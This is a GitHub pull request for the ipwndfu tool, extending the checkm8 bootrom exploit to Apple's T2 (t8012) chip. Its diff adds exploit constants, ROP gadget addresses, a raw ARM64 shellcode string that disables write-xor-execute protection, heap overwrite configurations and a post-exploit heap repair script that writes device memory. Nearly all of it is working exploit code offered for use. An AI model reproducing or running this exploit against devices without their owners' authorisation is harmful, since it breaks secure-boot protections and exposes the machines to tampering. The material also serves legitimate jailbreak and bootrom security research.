Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

T2/t8012 support #234

Open
wants to merge 4 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
47 changes: 46 additions & 1 deletion checkm8.py
Original file line number Diff line number Diff line change
Expand Up @@ -373,6 +373,48 @@ def payload(cpid):
t8011_shellcode = t8011_shellcode + '\0' * (PAYLOAD_OFFSET_ARM64 - len(t8011_shellcode)) + t8011_handler
assert len(t8011_shellcode) <= 0x400
return struct.pack('<1024sQ504x2Q496s32x', t8011_shellcode, 0x1000006A5, 0x60000180000625, 0x1800006A5, prepare_shellcode('t8010_t8011_disable_wxn_arm64')) + usb_rop_callbacks(0x1800B0800, t8011_func_gadget, t8011_callbacks)
if cpid == 0x8012:
constants_usb_t8012 = [
0x18001C000, # 1 - LOAD_ADDRESS
0x6578656365786563, # 2 - EXEC_MAGIC
0x646F6E65646F6E65, # 3 - DONE_MAGIC
0x6D656D636D656D63, # 4 - MEMC_MAGIC
0x6D656D736D656D73, # 5 - MEMS_MAGIC
0x10000BD20, # 6 - USB_CORE_DO_IO
]
constants_checkm8_t8012 = [
0x1800089F8, # 1 - gUSBDescriptors
0x180003AF8, # 2 - gUSBSerialNumber
0x10000B1CC, # 3 - usb_create_string_descriptor
0x18000082A, # 4 - gUSBSRNMStringDescriptor
0x18001BC00, # 5 - PAYLOAD_DEST
PAYLOAD_OFFSET_ARM64, # 6 - PAYLOAD_OFFSET
PAYLOAD_SIZE_ARM64, # 7 - PAYLOAD_SIZE
0x180008B08, # 8 - PAYLOAD_PTR
]
t8012_func_gadget = 0x100008da0
# t8012_dc_civac = 0x10000047C
t8012_write_ttbr0 = 0x100000444
t8012_tlbi = t8012_write_ttbr0 + 0x50
# t8012_dmb = 0x100000488
t8012_handle_interface_request = 0x10000BFFC
t8012_callbacks = [
(t8012_write_ttbr0, 0x18001C000),
(t8012_tlbi, 0),
(0x18001C610 + 0x002000000, 0),
(t8012_write_ttbr0, 0x18000C000),
(t8012_tlbi, 0),
(0x18001C000, 0),
]

disable_wxn = b"\xe1\x07\x61\xb2\x22\x30\x40\x91\x21\x94\x18\x91\x41\x00\x03\xf9\xbf\x3f\x03\xd5\xa0\x01\x82\xd2\x00\x10\x18\xd5\x9f\x3f\x03\xd5\xdf\x3f\x03\xd5\xc0\x03\x5f\xd6"
t8012_handler = asm_arm64_x7_trampoline(t8012_handle_interface_request) + asm_arm64_branch(0x10, 0x0) + prepare_shellcode('usb_0xA1_2_arm64', constants_usb_t8012)[4:]
t8012_shellcode = prepare_shellcode('checkm8_arm64', constants_checkm8_t8012)
assert len(t8012_shellcode) <= PAYLOAD_OFFSET_ARM64
assert len(t8012_handler) <= PAYLOAD_SIZE_ARM64
t8012_shellcode = t8012_shellcode + '\0' * (PAYLOAD_OFFSET_ARM64 - len(t8012_shellcode)) + t8012_handler
assert len(t8012_shellcode) <= 0x400
return struct.pack('<1024sQ504x2Q496s32x', t8012_shellcode, 0x1000006A5, 0x180000625, 0x1800006A5, disable_wxn) + usb_rop_callbacks(0x18001C800, t8012_func_gadget, t8012_callbacks)
if cpid == 0x8015:
constants_usb_t8015 = [
0x18001C000, # 1 - LOAD_ADDRESS
Expand Down Expand Up @@ -426,6 +468,7 @@ def payload(cpid):
def all_exploit_configs():
t8010_nop_gadget = 0x10000CC6C
t8011_nop_gadget = 0x10000CD0C
t8012_nop_gadget = 0x100008DB8
t8015_nop_gadget = 0x10000A9C4

s5l8947x_overwrite = '\0' * 0x660 + struct.pack('<20xI4x', 0x34000000)
Expand All @@ -434,6 +477,7 @@ def all_exploit_configs():
s5l8960x_overwrite = '\0' * 0x580 + struct.pack('<32xQ8x', 0x180380000)
t8010_overwrite = '\0' * 0x580 + struct.pack('<32x2Q16x32x2QI', t8010_nop_gadget, 0x1800B0800, t8010_nop_gadget, 0x1800B0800, 0xbeefbeef)
t8011_overwrite = '\0' * 0x500 + struct.pack('<32x2Q16x32x2QI', t8011_nop_gadget, 0x1800B0800, t8011_nop_gadget, 0x1800B0800, 0xbeefbeef)
t8012_overwrite = '\0' * 0x500 + struct.pack('<32x2Q16x32x2QI', t8012_nop_gadget, 0x18001C800, t8012_nop_gadget, 0x18001C800, 0xbeefbeef)
t8015_overwrite = '\0' * 0x500 + struct.pack('<32x2Q16x32x2Q12xI', t8015_nop_gadget, 0x18001C020, t8015_nop_gadget, 0x18001C020, 0xbeefbeef)

return [
Expand All @@ -445,6 +489,7 @@ def all_exploit_configs():
DeviceConfig('iBoot-2651.0.0.3.3', 0x8004, None, t800x_overwrite, 5, 1), # T8004 (buttons) NEW: 1.06 seconds
DeviceConfig('iBoot-2696.0.0.1.33', 0x8010, None, t8010_overwrite, 5, 1), # T8010 (buttons) NEW: 0.68 seconds
DeviceConfig('iBoot-3135.0.0.2.3', 0x8011, None, t8011_overwrite, 6, 1), # T8011 (buttons) NEW: 0.87 seconds
DeviceConfig('iBoot-3401.0.0.1.16', 0x8012, None, t8012_overwrite, 6, 1),
DeviceConfig('iBoot-3332.0.0.1.23', 0x8015, None, t8015_overwrite, 6, 1), # T8015 (DFU loop) NEW: 0.66 seconds
]

Expand Down Expand Up @@ -491,7 +536,7 @@ def exploit():
libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0)
dfu.release_device(device)

time.sleep(0.5)
time.sleep(0.8)

device = dfu.acquire_device()
usb_req_stall(device)
Expand Down
9 changes: 8 additions & 1 deletion device_platform.py
Original file line number Diff line number Diff line change
Expand Up @@ -39,7 +39,7 @@ def __init__(self, cpid, cprv, scep, arch, srtg, rom_base, rom_size, rom_sha1, s
self.dfu_load_base = 0x800000000
self.recovery_image_base = 0x1800B0000
self.recovery_load_base = 0x800000000
if self.cpid in [0x8015]:
if self.cpid in [0x8012, 0x8015]:
self.dfu_image_base = 0x18001C000
self.dfu_load_base = 0x800000000
self.recovery_image_base = 0x18001C000
Expand Down Expand Up @@ -110,6 +110,13 @@ def name(self):
nonce_length=32, sep_nonce_length=20,
demotion_reg=0x2102BC000,
),
DevicePlatform(cpid=0x8012, cprv=0x10, scep=0x01, arch='arm64', srtg='iBoot-3401.0.0.1.16',
rom_base=0x100000000, rom_size=0x100000, rom_sha1='68be532dea4cc05b393ef5f49962aef3f99d629d',
sram_base=0x180000000, sram_size=0x200000,
dram_base=0x800000000,
nonce_length=32, sep_nonce_length=20,
demotion_reg=0x2112BC000,
),
DevicePlatform(cpid=0x8015, cprv=0x11, scep=0x01, arch='arm64', srtg='iBoot-3332.0.0.1.23',
rom_base=0x100000000, rom_size=0x100000, rom_sha1='96fccb1a63de1a2d50ff14555d3898a5af46e9b1',
sram_base=0x180000000, sram_size=0x200000,
Expand Down
5 changes: 4 additions & 1 deletion ipwndfu
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@

import binascii, datetime, getopt, hashlib, struct, sys, time
import dfu, nor, utilities
import alloc8, checkm8, image3_24Kpwn, limera1n, SHAtter, steaks4uce, usbexec
import alloc8, checkm8, image3_24Kpwn, limera1n, SHAtter, steaks4uce, usbexec, t8012_heap_fix
from dfuexec import *

def print_help():
Expand Down Expand Up @@ -73,6 +73,9 @@ if __name__ == '__main__':
checkm8.exploit()
elif 'CPID:8011' in serial_number:
checkm8.exploit()
elif 'CPID:8012' in serial_number:
checkm8.exploit()
t8012_heap_fix.fix_heap()
elif 'CPID:8015' in serial_number:
checkm8.exploit()
else:
Expand Down
17 changes: 17 additions & 0 deletions src/checkm8_arm64.S
Original file line number Diff line number Diff line change
@@ -1,6 +1,8 @@
.text

.pool
// These values are placeholders that are replaced in the payload
// before it is sent to the processor. They are arbitrary.
.set PAYLOAD_OFFSET, 0xBAD00006
.set PAYLOAD_SIZE, 0xBAD00007
.set PAYLOAD_DEST, 0xBAD00005
Expand Down Expand Up @@ -77,6 +79,21 @@ copy_loop:
LDP X29, X30, [SP],#0x10
RET

// The USB descriptor is a series of 32 bit little-endian words that is directly parsed
// by the USB host. More can be understood from reading the USB specification for each
// descriptor type. This is encoded from:
//
// A USB configuration descriptor
// 0902190001010580FA
//
// A USB interface descriptor
// 0904000000FE010000
//
// A USB HID descriptor for a nil device
// 0721010A000008
//
// The remainder is filled with zeros to alignment

USB_DESCRIPTOR:
.word 0x190209, 0x80050101, 0x409fa, 0x1fe0000, 0x21070000, 0xa01, 0x8, 0x0

Expand Down
21 changes: 21 additions & 0 deletions t8012_heap_fix.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
import usbexec

def fix_heap():
d = usbexec.PwnedUSBDevice()

calculate_block_checksum = 0x10000D4E8

block_1 = 0x1801edb40
block_2 = 0x1801fffc0
block_2_size = 0x40
block_2_move_to = 0x1801fff80

if block_1 + d.read_memory_uint32(block_1 + 0x20) * 64 != block_2:
raise Exception("bad block_1")

for i in range(0, block_2_size, 4):
m = d.read_memory_uint32(block_2 + i)
d.write_memory_uint32(block_2_move_to + i, m)

d.write_memory_uint32(block_1 + 0x20, d.read_memory_uint32(block_1 + 0x20) - 1)
d.execute(0, calculate_block_checksum, block_1)
20 changes: 12 additions & 8 deletions usbexec.py
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
import struct, sys
import platform, struct, sys
import dfu, device_platform

class ExecConfig:
Expand All @@ -19,19 +19,23 @@ def match(self, info):
ExecConfig(('SecureROM for t8010si, Copyright 2007-2015, Apple Inc.', 'ROMRELEASE', 'iBoot-2696.0.0.1.33'), aes_crypto_cmd=0x10000C8F4),
ExecConfig(('SecureROM for t8011si, Copyright 2007-2015, Apple Inc.', 'ROMRELEASE', 'iBoot-3135.0.0.2.3'), aes_crypto_cmd=0x10000C994),
ExecConfig(('SecureROM for t8015si, Copyright 2007-2016, Apple Inc.', 'ROMRELEASE', 'iBoot-3332.0.0.1.23'), aes_crypto_cmd=0x100009E9C),
ExecConfig(('SecureROM for t8012si, Copyright 2007-2016, Apple Inc.', 'ROMRELEASE', 'iBoot-3401.0.0.1.16'), aes_crypto_cmd=0x1000082AC),
]

EXEC_MAGIC = 'execexec'[::-1]
DONE_MAGIC = 'donedone'[::-1]
MEMC_MAGIC = 'memcmemc'[::-1]
MEMS_MAGIC = 'memsmems'[::-1]
USB_READ_LIMIT = 0x8000
CMD_TIMEOUT = 5000
AES_BLOCK_SIZE = 16
AES_ENCRYPT = 16
AES_DECRYPT = 17
AES_GID_KEY = 0x20000200
AES_UID_KEY = 0x20000201
if platform.system() == 'Linux':
USB_READ_LIMIT = 0xFFF
else:
USB_READ_LIMIT = 0x8000
CMD_TIMEOUT = 5000
AES_BLOCK_SIZE = 16
AES_ENCRYPT = 16
AES_DECRYPT = 17
AES_GID_KEY = 0x20000200
AES_UID_KEY = 0x20000201

class PwnedUSBDevice():
def memset(self, address, c, length): self.command(self.cmd_memset(address, c, length), 0)
Expand Down